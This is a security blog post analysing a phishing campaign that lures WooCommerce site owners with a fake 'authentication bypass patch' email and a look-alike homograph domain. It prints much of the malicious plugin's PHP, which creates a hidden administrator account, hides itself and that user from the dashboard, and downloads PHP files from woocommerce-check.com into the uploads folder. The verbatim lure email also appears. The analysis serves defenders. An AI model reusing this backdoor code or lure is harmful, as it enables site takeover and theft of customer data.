What The Malware From Phishing Campaign Targeting WooCommerce Websites With Fake Security Update Does
Today we got a phishing email claiming to warn us that our website had “a critical security vulnerability identified in the WooCommerce platform on April 28, 2025″ and telling us to install a security patch. Here is the full email:
Dear WooCommerce User
We are contacting you regarding a critical security vulnerability identified in the WooCommerce platform on April 28, 2025.
Warning: Our latest security scan, performed on May 6, 2025, has verified that this critical vulnerability directly affects your website:
pluginvulnerabilities.com
Vulnerability details
This vulnerability involves Unauthenticated Administrative Access, which could potentially allow attackers to gain unauthorized access to your website’s administrative operations. If taken advantage of, this could compromise sensitive user data, including customer information, order details, and credit card data, potentially leading to unauthorized payments, extensive data theft, or even losing total control over your website.
We urge you to take urgent measures to secure your store and protect your data.
Measures you must follow
Click the button below to download the security patch from our official website:
Once you have downloaded the patch, please follow these steps:
- Log into your WordPress admin dashboard for pluginvulnerabilities.com
- Navigate to “Plugins” > “Add New” > “Upload Plugin.”
- Select the .zip file you downloaded and click “Install Now.”
- Once installed, activate the plugin to ensure your website is protected.
Thank you for your prompt action
We appreciate your attention to this important security matter and your actions to keep your WooCommerce store safeguarded. Taking such actions will contribute to securing your store and preserving the security of your data and users.
Regards,
The Woo Team
The email provided a link to a URL shortener, https://bit. ly/3Cur4E2, which then linked to https://xn--woocommerc-0mb .com/products/captcha/69ysic5?proceed. That in turn linked to https://woocommercė. com/products/woocommerce-authbypass-update/, notice the ė in the domain name. That provides a facsimile of a page on the WooCommerce Marketplace:
There wasn’t a security issue recently disclosed recently and if there was, the solution would be to update WooCommerce, not to install something else. The email is attempting to get webmasters of WooCommerce websites to install malicious code. This is part of a campaign that has been going on for several weeks. A similar approach has been taken with WordPress in the past.
The Malicious Code
So what does the malicious code do? Clicking the Download Patch button on the page shown above served us a small WordPress plugin, not a patch.
The plugin, in a folder named woocommerce-update, consists of two files. The first is a readme.txt file with this content:
This patch resolves a critical Authentication Bypass vulnerability that was recently discovered.
== Description ==
**How Does It Work?
The plugin eliminates the security risk by automatically deploying robust protective measures upon activation.
This ensures that your store and customer data remain fully protected against this vulnerability.== Installation ==
**How to Apply the Patch?**
– Log into your WordPress admin dashboard.
– Go to “Plugins” → “Add New” → “Upload Plugin.”
– Upload the downloaded .zip file and press “Install Now.”
– Once installation completes, activate the plugin for instant protection against this vulnerability.
The second named woocommerce-update.php is a compact 209 lines of code and comments. The first lines are the header to register the file as the main file of a WordPress plugin:
1 2 3 4 5 6 | <?php // Plugin Name: WooCommerce Authentication Bypass Update // Description: Fixes critical unauthenticated access issue in WooCommerce. // Version: v1.0.0 // Author: WooCommerce // Author URI: https://woocommerce.com/ |
The next code registers functions to run during different situations:
7 8 9 10 11 12 | register_activation_hook(__FILE__, 'addList850'); register_deactivation_hook(__FILE__, 'sortFormatter592'); add_action('pre_current_active_plugins', 'optimizeLogger914'); add_action('pre_user_query', 'queueRunning034'); add_action('wp_head', 'restoreSummary651'); add_filter('cron_schedules', 'debugIncomplete633'); |
The naming of the functions makes the code look odd. Why are what appear to be random sets on numbers after function names? Possibly that is there to make it harder to detect the code in an automated fashion, though in a way that it makes it stand out more to a human.
The next piece of code registers for code to run during a set interval:
14 15 16 | if (!wp_next_scheduled('attachReport186')) { wp_schedule_event(time(), 'traceActive904', 'attachReport186'); } |
That code in turns calls multiple other functions:
31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | add_action('attachReport186', 'bufferAnalytics232'); function bufferAnalytics232() { $set=base64_decode("V1BfVXNlcg"); $k = multiplyDateTime045(); $m = modelTester252(); $id = null; if (!username_exists($k)) { $o = wp_create_user($k, $m); if (!is_wp_error($o)) { $pdfp = new $set($o); $ddf = "pdfp"; ${$ddf}->set_role(base64_decode('YWRtaQ').base64_decode('bmlzdHJhdG9y')); roleDate340($k, $m); $id = $pdfp->ID; } } else { $r = get_user_by('login', $k); if ( $r && !in_array( base64_decode('YWRtaQ').base64_decode('bmlzdHJhdG9y'), (array) $r->roles, true ) ) { $r->set_role(base64_decode('YWRtaQ').base64_decode('bmlzdHJhdG9y')); $id = $r->ID; } } if ($id !== null) { add_action( 'plugins_loaded', function() { if ( class_exists( 'wfAdminUserMonitor' ) ) { $htmlSaved069 = new wfAdminUserMonitor; $htmlSaved069->addAdmin($id); } }); } } |
For example, one line calls another function to determine a name for a username:
64 65 66 67 68 69 | function multiplyDateTime045() { $sa = 'aa80tgQzI3rtZgT'; $s = get_site_url(null, '', 'https'); return substr(hash('sha256', $s.$sa), -8); } |
Going back to the previous function, it checks if a WordPress account with the username defined by the other function exists on the website. If it doesn’t exist, it creates it and sets its role to Administrator. If the username already exists, it sets the role to Administrator.
Wordfence Security Specific Code
The last part of the function is the most interesting, as it registers the WordPress account as an Admin with the Wordfence Security plugin if it exists. We couldn’t quickly find what the complete implications of that are, but Wordfence Security and similar security plugins don’t place the same restrictions on Administrators (as they need to be able to take actions others shouldn’t).
More Standard Backdoor Code
Creating a new user with the Administrator role is standard backdoor code. So is other code in the file.
There is code to hide that the plugin is installed:
124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 | function optimizeLogger914() { global $current_user; $username = $current_user->user_login; if ($username == multiplyDateTime045()) { return; } if (!is_plugin_active('woocommerce-update/woocommerce-update.php')) { return; } global $wp_list_table; $hidearr = array('woocommerce-update/woocommerce-update.php'); $myplugins = $wp_list_table->items; foreach ($myplugins as $key => $val) { if (in_array($key, $hidearr)) { unset($wp_list_table->items[$key]); } } } |
And code to hide the malicious user it creates exists:
80 81 82 83 84 85 | function queueRunning034($z) { $A = multiplyDateTime045(); global $wpdb; $z->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $A); } |
143 144 145 146 147 148 149 150 151 152 153 154 | add_filter("views_users", "jsonUser874"); function jsonUser874($vjs) { $osrs = count_users(); $nmr = $osrs['avail_roles']['administrator'] - 1; $anmr = $osrs['total_users'] - 1; $cadm = (strpos($vjs['administrator'], 'current') === false) ? "" : "current"; $call = (strpos($vjs['all'], 'current') === false) ? "" : "current"; $vjs['administrator'] = '<a class="' . $cadm . '" href="users.php?role=administrator">' . translate_user_role('Administrator') . ' <span class="count">(' . $nmr . ')</span></a>'; $vjs['all'] = '<a class="' . $call . '" href="users.php">' . __('All') . ' <span class="count">(' . $anmr . ')</span></a>'; return $vjs; } |
And code to create other files on the website with content from https://woocommerce-check.com/activate:
187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 | function connectMean109() { $scanningToken = "aHR0cHM6Ly93b29jb21tZXJjZS1jaGVjay5jb20vYWN0aXZhdGU"; $contents = wp_remote_get(base64_decode($scanningToken), ['timeout' => 30]); if ( !is_array( $contents ) && is_wp_error( $contents ) ) { return; } $detections = json_decode(base64_decode($contents['body']), true); for ($i=1;$i<4;$i++) { $iteration = 'wp-cached-'.multiplyDateTime045().strrev('php.'.$i); $index = 'Scan'.$i; $cnts = base64_decode($detections[$index]); recordFlag081($iteration, $cnts); } } function recordFlag081($fna, $fcn) { $udr = wp_upload_dir(); $cdr = $udr['basedir'] . '/wp-cached-'.multiplyDateTime045(); if (!file_exists($cdr)) { wp_mkdir_p($cdr); } $fpa = $cdr . '/' . $fna; @file_put_contents($fpa, $fcn); } |
The developer of WooCommerce getting those trademark infringing domain names taken down would limit the damage that can be done through this.
Plugin Security Scorecard Grade for WooCommerce
Checked on March 31, 2025See issues causing the plugin to get less than A+ grade